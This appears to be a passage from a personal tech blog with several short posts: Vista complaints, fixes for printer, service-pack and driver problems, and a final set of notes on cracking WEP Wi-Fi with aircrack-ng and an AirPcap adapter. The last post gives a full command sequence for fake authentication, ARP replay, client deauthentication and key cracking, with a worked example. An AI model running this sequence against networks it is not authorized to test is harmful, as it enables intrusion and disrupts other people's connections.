Mind Circus

Here’s an FAQ explaining the design decisions surrounding Vista’s new shitty shiny Disk Defragmenter.

OK, so the new I/O and CPU usage stuff is awesome (my favourite feature in Diskeeper), but to completely remove any graphical representation and then remove any progress indication is incredibly short sighted.

Sure, it makes sense to simplify the standard interface and protect general users from the “scary” internals of their OS, but, as the comments say, at least give Power users, or those that might be curious to learn more, the option to see what the hell is happening inside their system!

The more I am exposed to Vista, the harder I grip onto my copy of XP Pro.

Symptoms

When trying to install a shared network printer in Windows Vista, you get an error which states:

Windows cannot connect to the printer.
The specified print monitor is unknown.

The Cause

This is a bug in Vista. If you disable the UAC, Vista is seemingly unable to add a network printer.

The Fix

To fix this, you’ll need to install a “Performance and Reliability Update”, KB938979. Bizarrely, this update is listed as Optional by Windows Update, and so you may not have installed it. I shall refrain from commenting further on the lunacy of this

If you’re installing Windows XP Service Pack 2 and it halts or hangs on you while it is allegedly “Checking Product Key”, you can fix it like so:

1) Please go into the CMD prompt (Start/Run –> cmd.exe )

2) Then type cd /d %windir%\inf and make sure we are in that
directory.

3) Then type ren oem*.inf oem*.old, it will go back to the prompt
after giving you some error (Do not worry about it)

4) Then type ren oem*.pnf oem*.old1, it will go back to the prompt
after giving you some error (Do not worry about it)

5) Then goto start - run - type “%windir%\inf” and you will see
the files in the folder.

6) Then find the file by name INFCACHE.1 and take a backup of it
to desktop (by copying it to desktop) and delete the INFCACHE.1
from c:\windows\inf.

7) Close all windows and reboot the computer to safe mode and
start the installation of SP2 and it should go fine.

This solution is dotted all around the internet, but I can’t find it’s original source. If you know the source, let me know and I’ll credit it correctly.

Problem

Vista Crashes (Blue Screens) with an error message mentioning yk60×86.sys.

Solution

We’ve got a bunch of Sony Vaio VGN-SZ5MN laptops at work and a lot of them are blue screening (BSOD) as soon as you plug in the Ethernet cable. If that’s not enough of a clue (hehe), the problem is the Marvell Yukon Ethernet Controller driver.

To fix the problem, download the updated driver from the Marvell Driver page.

Or try this direct link to the Driver Installer for Windows 2000/XP/Vista

Finally, I’ve had time to write down my notes on using aircrack-ng with the Airpcap Tx adapter in Windows. Before you read on, please be aware that this isn’t meant to be a guide or tutorial, it’s just my notes. Thanky

Basics

Start capturing:

airodump-ng \\.\airpcap00 airpcap CHANNELNUMBER mycapturefile

Fake auth:

aireplay-ng --fakeauth 0 -e "MYSSID" -a BSSIDMAC -h AIRPCAPMAC \\.\airpcap00
 

Start attack:

aireplay-ng --arpreplay -b BSSIDMAC -h CLIENTMAC \\.\airpcap00

Deauth (if we need ARPs):

aireplay-ng –deauth 3 -a BSSIDMAC -c CLIENTMAC \\.\airpcap00

Start cracking:

aircrack-ng -z mycapturefile.cap

Worked example:

airodump-ng.exe \\.\airpcap00 airpcap 11 mycapturefile
aireplay-ng --fakeauth 0 -e "WEP" -a 00:a0:c5:9d:d5:50 -h 00:02:72:67:92:8a \\.\airpcap00
aireplay-ng --arpreplay -b 00:a0:c5:9d:d5:50 -h 00:90:4b:eb:9b:36 \\.\airpcap00
aireplay-ng --deauth 3 -a 00:a0:c5:9d:d5:50 -c 00:90:4b:eb:9b:36 \\.\airpcap00
aircrack-ng -z mycapturefile.cap

Download

I’ve prepared a special release of the aircrack-ng tools originally prepared by CACE Technologies on the AirPcap CDROM. It replaces the new aireplay-ng.exe with an older one which, in my tests, appears to perform better.

Download the release of aircrack-ng for AirPcap Tx